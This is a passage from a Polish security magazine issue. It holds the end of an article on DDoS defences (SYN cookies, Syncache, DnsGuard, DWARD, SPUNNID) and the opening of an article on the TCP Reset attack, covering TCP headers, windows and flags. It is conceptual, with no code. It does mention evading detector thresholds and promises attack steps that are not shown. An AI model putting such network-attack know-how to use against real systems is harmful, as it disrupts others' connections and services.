licznika t(24 bity), oraz zakodowane 
MSS (3 bity). Po odebraniu odpowie-
dzi sprawdzana jest wartość licznika 
czasowego – czy jest ona taka sama 
(albo o 1 większa) od aktualnej war-
tości tego licznika na serwerze. Jeśli 
tak, to znaczy, że odpowiedź mieści 
się w ustalonych ramach czasowych. 
Jeśli nie - pakiet jest odrzucany. Na-
stępnie wyliczona jest suma MD5 z 
danych nagłówka aktualnego pakie-
tu oraz aktualnego t (albo o 1 mniej-
szego)  i  porównana  z  wartością  z 
ciasteczka. Gdyby nie ten etap, ata-
kujący musiałby wysłać tylko 32 pa-
kiety,  aby  nawiązać  połączenie  (a 
tak  sprawdzany  skrót,  bazując  na 
wartości  t  gwarantuje,  że  odebrano 
poprawną odpowiedź). Jeśli wszyst-
ko  się  zgadza  to  oznacza,  że  na-

Rysunek 5. 

Edge sampling - podział na k części 

Address

BitInterleave

0

k-1

Hash (address)

background image

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

25

wiązywane  jest  poprawne  połącze-
nie. Mechanizm ten ma jednak wie-
le wad. Należy do nich niemożliwość 
przekazania wielu opcji TCP ustala-
nych przy nawiązywaniu połączenia 
(bo nie zapisuje ich w kolejce połą-
czeń nasłuchujących). Inne to 8 pre-
definiowanych wartości MSS (tylko 3 
bity), brak retransmisji SYN+ACK je-
śli  ACK  się  zagubi,  niekompatybil-
ność  z  wieloma  rozszerzeniami  np: 
T/TCP, podatność na ataki ACK flo-
od (serwer musi liczyć MD5), proble-
my  firewallami,  które  mogą  nie  blo-
kować ataków ACK flood, ponieważ 
uważają to za część ustanowionego 
połączenia. Mechanizm ten zaimple-
mentowano  jako  opcja  w  wielu  sys-
temach  (w  Linuxie  to  opcja  kernela 
CONFIG_SYN_COOKIES). 

Syncache

Jest  mechanizmem  rozszerzają-
cych  systemowe  kolejki  połączeń 
nasłuchujących6.  Klasyczna  kolej-
ka  z  prawdopodobieństwem  1/N 
wyrzuca rekordy informujące o pół-
otwartych  połączeniach  TCP.  To 
znaczy,  że  z  nadejściem  nowego 
pakietu SYN statystycznie usuwany 
jest  jeden  rekord  z  tej  kolejki.  Któ-
ry ? Losowo wybrany. Syncache dla 
każdego  półotwartego  połączenia 
rezerwuje  znacznie  krótszy  rekord, 
używa FIFO do wyrzucania najstar-
szych  półotwartych  połączeń  oraz 
optymalizuje  wyszukiwanie  i  wsta-
wianie  nowych  rekordów,  rozpra-
szając równomiernie nowe połącze-
nia. Syncache składa się z globalnej 
tablicy haszującej, której elementa-
mi  jest  pewna  ilość  wiaderek  (buc-
ket). Każde wiaderko to lista rekor-

dów - każdy opisuje jedno półotwar-
te  połączenie.  Po  nadejściu  nowe-
go pakietu SYN wyliczany jest skrót 
z adresu i portu źródłowego i doce-
lowego oraz pewnej losowej warto-
ści. Wartość tego skrótu decyduje o 
tym, do którego wiaderka (na którą 
listę FIFO) trafi informacja o tym po-
łączeniu. Jeśli lista ta jest już pełna, 
usuwane  jest  najstarsze  połącze-
nie.  Zastosowanie  tablicy  haszują-
cej oraz funkcji haszującej z losową 
wartością ma na celu równomierne 
rozłożenie ruchu pomiędzy wszyst-
kie  wiaderka.  Nawet  jeśli  przyjdzie 
kilka  identycznych  pakietów  SYN 
trafią one do innego wiaderka. Więc 
są one chronione przed selektywny-
mi  atakami.  Można  ustalać  maksy-
malną ilość rekordów dla całej tabli-
cy  haszującej  7  oraz  maksymalny 
rozmiar  każdego  wiaderka  8.  Me-
chanizm Syncache zazwyczaj łączy 
się z Syncookie. Zwykle Syncookie 
jest wyłączone, lecz jeśli limity Syn-
cache zostaną przekroczone zosta-
je włączony mechanizm Syncookie.

DnsGuard

DnsGuard  jest  pomysłem  nie-
co  przypominającym  Syncookie. 
Używa  danych  wygenerowanych 
po  stronie  serwera  do  upewnienia 
się,  że  klient  korzystający  z  serwe-
ra  DNS  poprzez  protokół  UDP  jest 
tym,  za  kogo  się  podaje.  Uniemoż-
liwia  to  ataki  na  serwery  DNS  opi-
sane  wcześniej.  DnsGuard  jest  po-
średnikiem między serwerem DNS a 
klientem.  Z  punktu  widzenia  klienta 
zachowuje się jak serwer DNS. Mo-
że  odpowiadać  na  zapytania  reku-
rencyjne jak i nierekurencyjne. Naj-

pierw  zostanie  omówiony  sposób 
działania w trybie nierekurencyjnym 
-  czyli  mechanizm  odpowiedzi  na 
pytania nierekurencyjne. Zostanie to 
zrobione  na  przykładzie.  Załóżmy, 
że  DnsGuard  chroni  jeden  z  głów-
nych  serwerów  DNS  (root  serwer). 
W  pierwszym  kroku  klient  zada-
je nierekurencyjne pytanie o dome-
nę  www.foo.com.  DnsGuard  prze-
chwytuje  zapytanie  i  bez  kontakto-
wania  się  z  prawdziwym  serwerem 
DNS odsyła odpowiedź (krok drugi) 
mówiącą o tym, że serwerem NS dla 
domeny com jest COOKIEcom. CO-
OKIE  konstruuje  się  podobnie  jak 
dla Syncookie i jest ono zapisane w 
czytelnym formacie (zgodnym z na-
zwą domeny definiowaną przez pro-
tokół  DNS).  W  trzecim  kroku  klient 
wysyła kolejne zapytanie w celu za-
miany COOKIEcom na adres IP. W 
tym momencie DnsGuard sprawdza 
poprawność  cookie.  Jeśli  jest  ono 
poprawne, to w czwartym kroku pyta 
się chronionego serwera DNS o ad-
res IP serwera NS dla domeny com. 
W  piątym  DnsGuard  kroku  dostaje 
odpowiedź  x,  którą  zwraca  kliento-
wi w szóstym kroku - wrócona odpo-
wiedź to domena COOKIEcom z ad-
resem x. Dalej klient może już połą-
czyć się z adresem x, który jest ser-
werem NS dla domen com, po czym 
przeprowadzić proces od nowa, uzy-
skując tym razem adres serwera NS 
dla domeny foo.com.

W  trybie  zapytań  rekursyw-

nych  jest  trochę  inaczej.  W  pierw-
szym kroku klient wysyła zapytanie o 
www.foo.com.  W  drugim  DnsGuard 
odpowiada, że NS dla www.foo.com 
to  COOKIE  www.foo.com.  W  trze-
cim klient przesyła zapytanie o adres 
IP  COOKIEwww.foo.com  po  czym 
następuje  weryfikacja  COOKIE.  W 
czwartym  kroku  DnsGuard  wysyła 
zapytanie  do  chronionego  serwera 
DNS  (przyjmującego  zapytania  re-
kursywne)  o  adres  www.foo.com, 
po czym w piątym kroku dostaje od-
powiedź  x.  W  szóstym  kroku  Dns-
Guard  zwraca  odpowiedź  kliento-
wi mówiącą o tym, że adres IP CO-
OKIEwww.foo.com  jest  COOKIE2. 
Jeśli  przez  DnsGuard  przepływa 
ruch  o  adresach  1.2.3.0/24  to  CO-

Rysunek 6. 

DnsGuard - tryb iteracyjny

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

26

OKIE2  ma  format  1.2.3.y  gdzie  y 
może przyjąć wartość od 0 do 255. 
Teraz  klient  zna  adres  IP  serwera 
NS  dla  domeny  www.foo.com  więc 
wysyła  do  niego  zapytanie  o  ad-
res  www.foo.com  (krok  7).  Po  jego 
odebraniu DnsGuard sprawdza, czy 
wcześniej została do takiego klienta 
wysłana informacja o tym, że 1.2.3.y 
to NS dla domeny www.foo.com. Je-
śli  weryfikacja  COOKIE2  przebie-
gła poprawnie DnsGuard może jesz-
cze  raz  wykonać  zapytanie  do  ser-
wera DNS (kroki 8 i 9) albo od razu 

zwrócić odpowiedź uzyskaną w kor-
ku 5 (krok 10). Strzałki zaznaczone 
linią  przerywaną  na  obu  rysunkach 
oznaczają,  że  przy  kolejnych  zapy-
taniach od tych adresów IP kroki te 
będą pominięte (adresy te uznane za 
zaufane).

DWARD 

Jest projektem mającym na celu wy-
krywanie ataku DDoS w jego wcze-
snej  fazie  -  w  pobliżu  źródła  ata-
ku. Składa się z modułów observa-
tion,  rate-limiting  oraz  traffic-poli-

cing.  Obserwacja  i  zbieranie  sta-
tystyk  ruchu  odbywa  się  dwutoro-
wo. Po pierwsze zbierane są staty-
styki dla każdego odległego adresu 
IP  (zwane  agregacją  agflow).  Każ-
dy rekord agflow zawiera dane doty-
czące  ilości  oraz  rozmiarów  pakie-
tów  TCP,  UDP  oraz  ICMP  wysyła-
nych  w  obu  kierunkach.  Po  drugie 
zbierane  są  statystyki  dla  każdego 
połączenia TCP (agregacja connec-
tion). Każdy rekord opisujący połą-
czenie  zawiera  podobne  statystyki 
jak rekord agflow. 

Jednocześnie stworzone zostały 

trzy klasy ruchu dla agregacji agflow. 
Pierwsza z nich to klasa Normal opi-
sująca ruch, którego statystyki zgod-
ne są z normalnym modelem ruchu. 
Kolejna  to  Suspicious  używana  do 
opisania agflow zgodnego z normal-
nym  modelem,  jednak  zaklasyfiko-
wanego niedawno do trzeciej z klas: 
Attack. Klasa Attack używana jest do 
opisania ruchu niezgodnego z okre-
ślonymi normami.

Moduł  obserwacyjny  porównu-

je bieżące rekordy agflow z normal-
nym  modelem  ruchu,  po  czym  de-
cyduje do której z tych klas zaliczyć 
dany ruch. W tym celu zdefiniowano 

Rysunek 7. 

DnsGuard - tryb rekursywny 

Rysunek 8. 

DWARD - architektura

Rate limit calculation

f(x-y)

y

x

Classification

Agflow Table

Connection Table

Agflow Models

Connection Models

Traffic statistics

Legitimate

Connection List

Aglow classification

results

Rate

Limit

Rules

RESOURCE ROUTER

RATE-LIMITING COMPONENT

OBSERVATION COMPONENT

TRAFFIC-POLICING

COMPONENT

background image

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

27

parametr,  który  określa  maksymal-
ny  stosunek  ilości  pakietów  wysła-
nych do odebranych. Jego przekro-
czenie  oznacza,  że  zostało  wysła-
nych znacząco więcej pakietów niż 
odebrano (prawdopodobnie bez po-
twierdzenia  ACK  dla  TCP),  co  jest 
jednym z syndromów ataku. Bieżą-
cy stosunek ilościowy pakietów jest 
odpowiednio modyfikowany w przy-
padku,  jeśli  przez  pewien  czas  nie 
otrzymuje się potwierdzenia (jest on 
zwiększany w celu wykrycia ataku). 
Dzięki temu jeśli dany /emphagflow 
był  zaklasyfikowany  jako  normalny 
w  przypadku  nagłego  nastąpienia 
ataku  zostanie  to  szybciej  wykry-
te. Dla TCP dodatkowo wykorzysty-
wane są jeszcze stosunki ilościowe 
pakietów TCP z flagami SYN i ACK. 
Dla ICMP porównywane są np: sto-
sunek ilości ICMP echo i reply. Pro-
tokół  UDP  nie  posiada  tak  moc-
nej korelacji dwukierunkowej, wiele 
aplikacji wysyła datagramy UDP do 
odbiorcy bez potwierdzenia. Dlate-
go tutaj dobrano dwie wartości gra-
niczne.  Jedna  z  nich  określa  mak-
symalną ilość adresów źródłowych 
a  druga  minimalną  ilość  pakietów 
dla  danego  /emphagflow.  Po  prze-
kroczeniu obu wartości ruch klasyfi-
kowany jest jako atak. 

Podobną  metodę  wykorzystano 

dla agregacji connection. Wyróżnio-
ne są trzy klasy połączeń. Good, Bad 
oraz Transient. Moduł obserwacyjny 
dla każdej agregacji typu connection 
przydziela  odpowiednią  klasę.  Dla 

TCP  stosowane  są  podobne  meto-
dy klasyfikacji co dla agflow, jednak 
z uwzględnieniem specyfiki połącze-
niowości.  Przykładowo  po  wysłaniu 
pakietu z flagą SYN i otrzymaniu SY-
N+ACK dane połączenie jest klasyfi-
kowane jako Transient. Dla ICMP w 
ogóle  nie  buduje  się  agregacji  con-
nection  ze  względu  na  bezpołącze-
niowość  protokołu.  Dla  UDP  nato-
miast  zdefiniowanych  zostało  sze-
reg klas ruchu w zależności od pro-
tokołów, takich jak: DNS, NTP, multi-
media streaming, VoIP, NFS, aplika-
cje typu czat oraz gry sieciowe. Dla 
każdej z tych klas są ściśle określo-
ne  reguły  dotyczące  normalności 
ruchu.  DWARD  umożliwia  jeszcze 
przewidywanie  kolejnych  numerów 
sekwencyjnych dla danego połącze-
nia i w przypadku, gdy są one rażąco 
inne  stosuje  ograniczanie  ruchu  dla 
takich połączeń.

Dla tak zdefiniowanego i spriory-

tyzowanego  ruchu  (zarówno  agre-
gacje agflow jak i connection) wyli-
czane są współczynniki opóźnienia 
tak  aby  pasmo  zajmowane  przez 
atakującego  (oraz  ilość  wysłanych 
pakietów) były jak najmniejsze. Ste-
rowanie całym ruchem przypomina 
trochę to znane z TCP. W przypad-
ku  wykrycia  ataku  następuje  gwał-
towne  przycięcie  pasma  dla  dane-
go  połączenia  (agregacja  connec-
tion)  lub  adresu  IP  (agregacja  ag-
flow). Przy zmianie statusu ruchu na 
przejściowy lub poprawny następu-
je  powolne  zwiększanie  dostępne-

go  pasma.  Polityka  przydziału  pa-
sma  zależy  też  od  sposobu  w  jaki 
reaguje  ruch.  Jeśli  jest  on  bardziej 
elastyczny  i  ilość  przesyłanych  pa-
kietów  dopasowuje  się  do  nałożo-
nych limitów pasma, to taki ruch bę-
dzie szybciej je odzyskiwał niż taki, 
który mimo nałożonych limitów cią-
gle próbuje wysyłać znacznie więk-
sze  ilości  pakietów.  W  przypadku 
wykrycia ataku, gwałtowność spad-
ku przydzielonego pasma zależy nie 
tylko od tego jak bardzo naruszono 
granice zdefiniowane przez normal-
ny ruch, ale także od tego, jak dłu-
go ten ruch był zaklasyfikowany ja-
ko poprawny.

DWARD  jest  bardzo  ciekawym 

i  dość  skutecznym  rozwiązaniem. 
Większość  ataków  wykryta  została 
w  przeciągu  4  sekund  przy  fałszy-
wych  alarmach  nie  przekraczają-
cych  0.01%  i  jednoczesnym  pozio-
mie wykrywalności przekraczającym 
98%. Umieszczenie detektora blisko 
źródła  ataków  daje  dużą  skutecz-
ność wykrycia źródła ataku. Proble-
matyczne  są  jednak  masowe  ataki 
DoS, które wyglądają jak zwyczajny 
ruch  TCP.  Atakujący  może  również 
próbować generować taki ruch, któ-
ry  jest  minimalnie  poniżej  parame-
trów będących wyzwalaczami ataku. 
DWARD do działania potrzebuje tak-
że  aby  dane  pakiety  wracały  tą  sa-
mą drogą, którą przybyły, ponieważ 
większość  analiz  dotyczy  stosunku 
ilości ruchu przychodzącego do wy-
chodzącego.  Dużą  zaletą  systemu 
są jego niewielkie wymagania doty-
czące wydajności.

SPUNNID

SPUNNID  jest  jednym  z  wielu  sys-
temów  detekcji  DDoS  bazujących 
na  sieciach  neuronowych.  Opie-
ra się on na nienadzorowanej sieci 
ART (Adaptive Resonanse Theory). 
Nienadzorowana  oznacza,  że  jest 
ona  karmiona  tylko  pewnymi  dany-
mi  wejściowymi  bez  dodatkowych, 
uprzednio  przygotowanych  danych 
kontrolnych,  mówiących  o  pew-
nej  specyfice  (bądź  kategorii)  tych 
danych  wejściowych.  W  praktyce 
oznacza to, że taka sieć może sama 
kategoryzować  ruch  sieciowy,  po-

Rysunek 9. 

Sieć ART1 

ATTENTIONAL

SUBSYSTEM

ORIENTING

SUBSYSTEM

STM      F1

DIPOLE FIELD

STM      F2

GAIN

CONTROL

GAIN

CONTROL

INPUT

PATTERN

STM

RESET

WAVE

+

+

+

+

+

+

A

+

+

+

+

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

28

dzielić go na klastry, z których każ-
dy będzie zawierał tylko ten o kon-
kretnej  specyfice  -  zgodnie  z  eks-
trapolowanym zbiorem cech. Same 
sieci ART posiadają wiele zalet, któ-
re można wykorzystać do rozwiąza-
nia  problemów  ataków  DDoS.  Po 
pierwsze parametr czujności - vigi-
lance,  za  pomocą  którego  można 
kontrolować  poziom  precyzji  ucze-
nia  sieci  i  w  efekcie  jak  wiele  kla-
strów  powstanie.  Ponadto  są  one 
dość  stabilne  -  nie  zdarza  się,  aby 
jeden wektor testowy zostawał przy-
porządkowany  raz  do  jednego  kla-
stra, raz do innego. Nie ważne w ja-
kiej kolejności wektory testowe bę-
dą podawane na wejście - i tak każ-
dy z nich zostanie zaklasyfikowany 
do tego samego klastra. Są również 
dość plastyczne - co daje zdolność 
uczenia się nowych wektorów w ta-
kim  samym  stopniu  w  każdym  eta-
pie trenowania. 

Algorytm dla sieci ART jest dość 

prosty.  W  pierwszym  etapie  nastę-
puje inicjalizacja wektorów wzorco-
wych sieci (wag) oraz parametru vi-
gilance, który mieści się w przedzia-
le (0,1). Kolejna faza to trenowanie 
sieci,  podczas  której  podaje  się  na 
jej  wejście  kolejne  wektory  trenu-
jące.  Dla  każdego  takiego  wekto-
ra trenującego znajdywany jest naj-
bardziej  podobny  wektor  wzorco-
wy. Następnie sprawdzany jest po-
ziom zróżnicowania pomiędzy obo-
ma wektorami. Jeśli jest większy niż 
zdefiniowany  przez  parametr  vigi-
lance, to tworzony jest kolejny wek-
tor  wzorcowy  symbolizujący  po-
wstanie  nowego  klastra.  Jeśli  nie, 
to wektor trenujący jest klasyfikowa-
ny jako należący do klastra "najbar-
dziej  podobnego"  wektora  wzorco-
wego.  W  takim  wypadku  odpowia-
dający mu wektor wzorcowy jest od-
powiednio  modyfikowany,  aby  le-
piej się dopasować do wektora tre-
nującego.  Dopuszcza  się  też  mo-
dyfikację  pozostałych  wektorów  te-
stowych,  aby  oddalić  je  od  wekto-
ra  trenującego.  Dla  parametru  vi-
gilance  równego  1  wymagane  jest 
100% dopasowanie więc powstanie 
tyle  klastrów,  ile  jest  wektorów  tre-
nujących. Dla wartości równej 0 po-

wstanie  tylko  jeden  klaster.  Wybie-
ra się go tak, aby otrzymać wyma-
ganą liczbę klastrów. W ten sposób 
z bardzo dużym przybliżeniem dzia-
łają sieci ART9.

Praktyczne realizacje oparte na 

ART-1 składają się z dwóch warstw 
F1 i F2. W warstwie F2 aktywowa-
ny jest tylko jeden bit odpowiadają-
cy  najlepiej  dopasowanemu  wzor-
cowi.  Część  sieci  zwana  Attentio-
nal  subsystem  odpowiada  za  re-
akcje  na  znane  wektory  wejściowe 
oraz  dopasowywanie  już  istnieją-
cych wektorów wzorcowych. Buduje 
ona  wektor  oczekiwań  -  top-down, 
łączący  warstwę  F2  z  F1  i  poma-
gający  stabilizować  pracę  sieci10. 
Jednak  Attentional  subsystem  nie 
jest  w  stanie  plastycznie  reagować 
na  wektory  nowego  typu.  Do  te-
go  służy  Orienting  subsystem,  któ-
ra ma na celu wyliczenie podobień-
stwa  między  wektorem  trenującym 
a wzorcowym i w przypadku za du-
żej różnicy wstawienie nowego wek-
tora wzorcowego. Więcej o sieciach 
ART w [14][15]. 

SPUNNID  bazuje  na  zaprojek-

towaniu  takiej  sieci  ART-1,  dla  któ-
rej  powstają  trzy  klastry  opisujące 
ruch11. Może to być ruch normalny, 
znany atak DDoS lub nowy, niezna-
ny atak. W celu wytrenowania takiej 
sieci należy z wychwyconych pakie-
tów ekstrapolować zespół cech, któ-
re  następnie  są  przekształcane  w 
odpowiednio  znormalizowany  binar-
ny  wektor  trenujący  (a  potem,  pod-
czas  wykrywania  wektor  testujący). 
W  tym  celu  ustala  się  okno  czaso-
we T, podczas którego wychwytywa-
ne się wszystkie pakiety, dla których 
wyliczane są cechy, po czym poda-
je się odpowiedni wektor na wejście 
ART-1. Wzięto pod uwagę następu-
jące cechy: procentowy udział w ca-
łym ruchu pakietów TCP, UDP, ICMP, 
procentowy udział w ruchu TCP pa-
kietów  z  flagami  SYN,  SYN+ACK, 
ACK, średni rozmiar nagłówka oraz 
średni rozmiar danych.

Podczas niektórych testów sieć 

SPUNNID  okazała  się  dość  efek-
tywna,  osiągając  skuteczność  wy-
krywania  ataków  DoS  na  pozio-
mie 90% przy bardzo niskim współ-

czynniku fałszywych alarmów. Wa-
dą rozwiązań opartych na sieciach 
neuronowych  jest  to,  że  wymaga-
ją  one  ciągłego  uczenia,  im  więk-
szy  i  bardziej  pełny  zestaw  wek-
torów  trenujących,  tym  lepiej  dzia-
ła  sieć.  Zaletą  rozwiązania  SPUN-
NID jest relatywnie niski nakład wy-
maganych  obliczeń  w  porównaniu 
do  innych  rozwiązań  opartych  na 
sieciach  neuronowych.  Nie  wyma-
ga  się  tutaj  pełnej  analizy  każde-
go połączenia TCP, a jedynie zbie-
ra  pewien  zestaw  statystyk.  Dlate-
go zaleca się jej umiejscowienie bli-
sko celu ataku.

Podsumowanie

Ataki  typu  DoS  ewoluują  nieustan-
nie.  Nowoczesne  DDoS  ciągle  ba-
zują  na  mechanizmach  sprzed  10 
lat,  jednak  masowość  i  ilość  uży-
wanych  do  ataku  komputerów  czy-
nią je coraz groźniejszymi. W ostat-
nim  czasie  zaczynają  pojawiać  się 
sieci  liczące  nawet  setki  tysiące 
komputerów,  co  pozwala  na  prak-
tycznie  bezkarne  blokowanie  ata-
kami DoS każdego większego ser-
wera. Jednocześnie wykorzystywa-
ne są coraz skuteczniejsze metody 
ataków  -  chociażby  te  związane  z 
protokołem  DNS  i  jego  rozszerze-
niami.  Niestety  większość  używa-
nych  powszechnie  protokołów  nie 
była  projektowana  z  myślą  o  bez-
pieczeństwie. Nawet te zaprojekto-
wane  niedawno  jak  ipv6  posiadają 
wiele słabych punktów, które z pew-
nością będą nadal wykorzystywane 
przez  atakujących.  Z  drugiej  stro-
ny  pojawia  się  coraz  więcej  syste-
mów służących detekcji, namierza-
niu i unikaniu atakom. Są to zazwy-
czaj  systemy  specjalizowane.  Sku-
teczna obrona przed DoS wiąże się 
z kompleksowymi działaniami zwią-
zanymi  z  instalacją  takich  syste-
mów  na  masową  skalę.  Wszystko 
wskazuje  na  to,  że  skala  ataków  i 
straty z nich wynikające będą stop-
niowo  zmuszać  administratorów 
sieci  oraz  operatów  ISP  do  coraz 
bardziej  zdecydowanych  działań 
zmierzających  do  zmniejszenia  ta-
kich zagrożeń. Na ile będę one sku-
teczne ? Czas pokaże. l

background image
background image

www.hakin9.org

hakin9 Nr 2/2007

30

Atak

Z

agrożenia  związane  z  możliwością 
przechwycenia  sesji  TCP  (Transmis-

sion Control Protocol) były znane spe-

cjalistom bezpieczeństwa sieciowego od wie-
lu lat. Oryginalna specyfikacja protokołu TCP 
zawiera  rozwiązanie  umożliwiające  popraw-
ną  transmisję  pakietów  odbieranych  w  loso-
wej  kolejności  oraz  jednoczesne  odrzuca-
nie duplikatów. Dodatkowo chroni transmisję 
przed  atakiem  wstrzyknięcia  danych  (ang. 

injection).  Numery  sekwencyjne  zawarte  w 
każdym  nagłówku  TCP  przenoszą  informa-
cje o kolejności, w jakiej otrzymywane dane 
powinny być ze sobą łączone. Jednocześnie 
mają  zapewniać  bezpieczeństwo  strumienia 
danych  TCP.  Chociaż  świadomość  związa-
nego z nimi potencjalnego zagrożenia istnia-
ła od wielu lat, niewiele zrobiono, aby je wy-
eliminować i jeszcze mniej na ten temat na-
pisano.

Ataki oparte na numerach sekwencyjnych 

TCP  wykorzystywały  słabości  w  generowa-
niu  pseudolosowych  numerów,  którymi  po-
sługuje  się  podczas  nawiązywania  połącze-
nia.  Wczesne  implementacje  stosów  TCP  w 
przypadku  większości  systemów  nie  mogły 
pochwalić się odpowiednio dobrą losowością 

numerów sekwencyjnych. Fakt ten umożliwiał 
odgadnięcie inicjującego numeru sekwencyj-
nego  (Initial  Sequence  Number)  w  bardzo 
krótkim  czasie.  Znanym  przykładem  wyko-
rzystania słabej losowości numerów sekwen-
cyjnych był atak przeprowadzony na kompu-
ter Tsutomu Shimomury przez Kevina Mitnic-
ka w 1994 roku.

Z biegiem czasu algorytmy generujące lo-

sowe  numery  stawały  się  coraz  lepsze  i  wio-
dące  systemy  operacyjne  (nawet  Windows, 

Przecinanie kabla – atak 

TCP Reset

Marcin Ulikowski

stopień trudności

Protokół TCP został stworzony prawie 30 lat temu, gdy duże 

liczby naturalne wydawały się większe niż dzisiaj. Twórcy 

protokołu, podobnie jak w przypadku kończącej się 32-bitowej 

przestrzeni adresowej IP, nie przewidzieli, że taki sam rozmiar 

pewnego pola w nagłówku TCP może stać się po wielu latach 

problemem.

Z artykułu dowiesz się...

•   z czego wynika słabość protokołu TCP,
•   w jaki sposób przeprowadzić przykładowy atak 

TCP Reset,

•   jak  zabezpieczyć  system  przed  atakiem  tego 

rodzaju.

Co powinieneś wiedzieć...

•   podstawowe  informacje  na  temat  protokołów 

sieciowych i komunikacji w internecie,

•   znajomość języka ANSI C będzie pomocna, ale 

nie niezbędna.

background image

Przecinanie kabla - atak TCP

hakin9 Nr 2/2007

www.hakin9.org

31

który  wcześniej  nie  znał  znaczenia 
słowa „losowy”) mogły pochwalić się 
znacznie  większym  poziomem  bez-
pieczeństwa.  Równocześnie  z  lep-
szymi algorytmami losującymi zwięk-
szała się także przepustowość Inter-
netu. Szybkie łącza stały się tańsze 
i bardziej dostępne. Problem nume-
rów sekwencyjnych powrócił.

Nagłówek TCP

Protokół  TCP  należy  do  warstwy 
transportowej modelu OSI i jest od-
powiedzialny  za  kontrolę  przepływu 
poprawności  danych.  Podstawo-
wy  mechanizm  protokołu  zakłada 
konieczność  potwierdzenia  przez 
odbiorcę  wszystkich  otrzymanych 
segmentów  TCP.  Nadawca  wysyła 
pewną porcję danych. Gdy nadejdzie 
potwierdzenie  od  odbiorcy,  nadaw-
ca  może  wysłać  następną  porcję 
danych.  Gdy  odbiorca  sygnalizuje 
błędy  lub  nie  wyśle  potwierdzenia, 
następuje  retransmisja  wszystkich 
danych,  począwszy  od  pierwszego 
niepotwierdzonego  segmentu.  Ana-
lizując  nagłówek  TCP  skupimy  się 
tylko  na  tych  elementach,  których 
znajomość  jest  kluczowa  do  zro-
zumienia  idei  działania  ataku  TCP 
Reset.

Numer sekwencyjny

Gdy  strumień  danych  zostaje  po-
dzielony  na  pakiety,  mogą  one  do-
trzeć  do  odbiorcy  w  nieprawidłowej 
kolejności,  na  przykład  wskutek 
przeciążenia  sieci.  Numer  sekwen-
cyjny o długości 32 bitów pełni rolę 
identyfikatora  dla  każdego  wysyła-
nego pakietu, dzięki czemu strumień 

danych  może  zostać  poprawnie 
złożony w całość po drugiej stronie. 
Identyfikatory  pakietów  nie  mogą 
zaczynać się od liczby 0 ani żadnej 
innej  stałej  wartości.  Musi  to  być 
możliwie  najlepsza  losowa  liczba, 
aby umożliwić przeprowadzenie po-
prawnej transmisji, która nie zostanie 
zakłócona.

Okno

Rozmiar okna (ang. window) odzwier-
ciedla  maksymalną  liczbę  pakietów 
(oraz  buforowanych  danych),  które 
mogą być wysłane bez konieczności 
oczekiwania  na  pozytywną  odpo-
wiedź.  Duże  okna  TCP  poprawiają 
wydajność  protokołu  TCP/IP  pod-
czas przesyłania dużej ilości danych 
między nadawcą i odbiorcą. Zbyt du-
ży  rozmiar  okna  powoduje  większe 
zużycie  pamięci  i  dłuższą  ponowną 
retransmisję w razie utraty pakietów. 
Natomiast  zbyt  mały  rozmiar  okna 
obniża szybkość transmisji wydłuża-
jąc  czas  potrzebny  na  oczekiwanie 
potwierdzenia. W typowym połącze-

niu  TCP  maksymalny  rozmiar  okna 
jest  ustalany  na  początku  połącze-
nia  i  jest  ograniczony  do  64kB,  co 
wynika  z  16-bitowej  długości  tego 
pola.  Po  otrzymaniu  wszystkich  pa-
kietów  mieszczących  się  w  oknie, 
host może odesłać pakiet z zerowym 
rozmiarem  okna,  informując  drugą 
stronę  połączenia,  aby  wstrzymała 
na  moment  wysyłanie  kolejnych 
pakietów.

Każda implementacja stosu TCP 

dla  systemów  operacyjnych  czy 
urządzeń  sieciowych  ma  zdefinio-
waną własną wielkość okna ustalaną 
podczas  nawiązywania  połączenia. 
Rozmiar  może  się  zmieniać  dyna-
micznie podczas transmisji (na przy-
kład  zmniejszyć  jeśli  duża  część 
pakietów  nie  dociera  do  odbiorcy). 
Bardzo  pomocna  będzie  Tabela  1, 
która  zawiera  początkowe  rozmiary 
okna dla popularnych systemów.

Flagi

Nagłówek pakietu TCP może zawie-
rać  sześć  bitów  kontrolnych  (SYN, 

Rysunek 1. 

Nagłówek TCP, nazwy omawianych pól mają kolor czerwony

Jeszcze większe okna

Dokument RFC-793 z 1981 roku okre-
śla maksymalny rozmiar okna TCP jako 
64kB.  Jest  to  mało,  jak  na  dzisiejsze 
łącza. Dlatego nowszy dokument RFC-
1323 z 1992 roku wprowadza rozsze-
rzenie do protokołu o nazwie Window 
Scaling
,  które  umożliwia  zwiększenie 
rozmiaru okna nawet do 1GB. Wymaga 
to umieszczenia dodatkowej opcji pod 
nagłówkiem TCP. Większe okno ozna-
cza zwiększoną szybkość transmisji na 
łączach o dużej przepustowości.

Tabela 1. 

Początkowy rozmiar okna w zależności od systemu operacyjnego

System operacyjny

Początkowy rozmiar okna

Linux 2.4 - 2.6

5840

Linux 2.2

16384, 32768

Linux 2.0.3x

512, 16384

Windows XP

16384, 64240

Windows 2000

16384, 64512

Windows 2003

65535

Windows 9x, NT 4

8192

FreeBSD 5x, 6x

65535

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

32

ACK,  PSH,  URG,  RST  oraz  FIN) 
zwanych flagami. Określają one, co 
zawiera pakiet i jaką spełnia funkcję 
podczas transmisji. Z naszego punk-
tu  widzenia  najbardziej  interesujące 
są trzy z nich: SYN, ACK i RST. Fla-
ga SYN (synchronize)  jest wysyłana 
razem  z  pakietem  nawiązującym 
połączenie.  Dołączany  jest  do  niej 
losowy  numer  sekwencyjny  (ISN). 
Druga  strona  odsyła  własny  pakiet 
z  ustawionymi  flagami  SYN+ACK. 
Wysyła  także  własny  losowy  nu-
mer  sekwencyjny  (ISN)  oraz  numer 
potwierdzenia 

(acknowledgment), 

który  odpowiada  otrzymanemu 
wcześniej 

ISN 

zwiększonemu 

o  jeden.  Jeśli  strona  próbująca  na-
wiązać  połączenie  otrzyma  pakiet 
i dokona pozytywnej weryfikacji nu-
meru potwierdzenia (polegającej na 

sprawdzeniu  czy  otrzymany  numer 
potwierdzenia jest równy wysłanemu 
wcześniej ISN plus jeden), może wy-
słać pakiet z flagą ACK. Jeśli numer 
potwierdzenia w trzecim pakiecie jest 
równy ISN+1 z pakietu poprzedniego 
to  oznacza,  że  połączenie  zostało 
nawiązane.  Teraz  dane  mogą  być 
wysyłane  w  obu  kierunkach.  Każdy 
kolejny pakiet będzie miał zwiększo-
ny numer sekwencyjny. Aby natych-
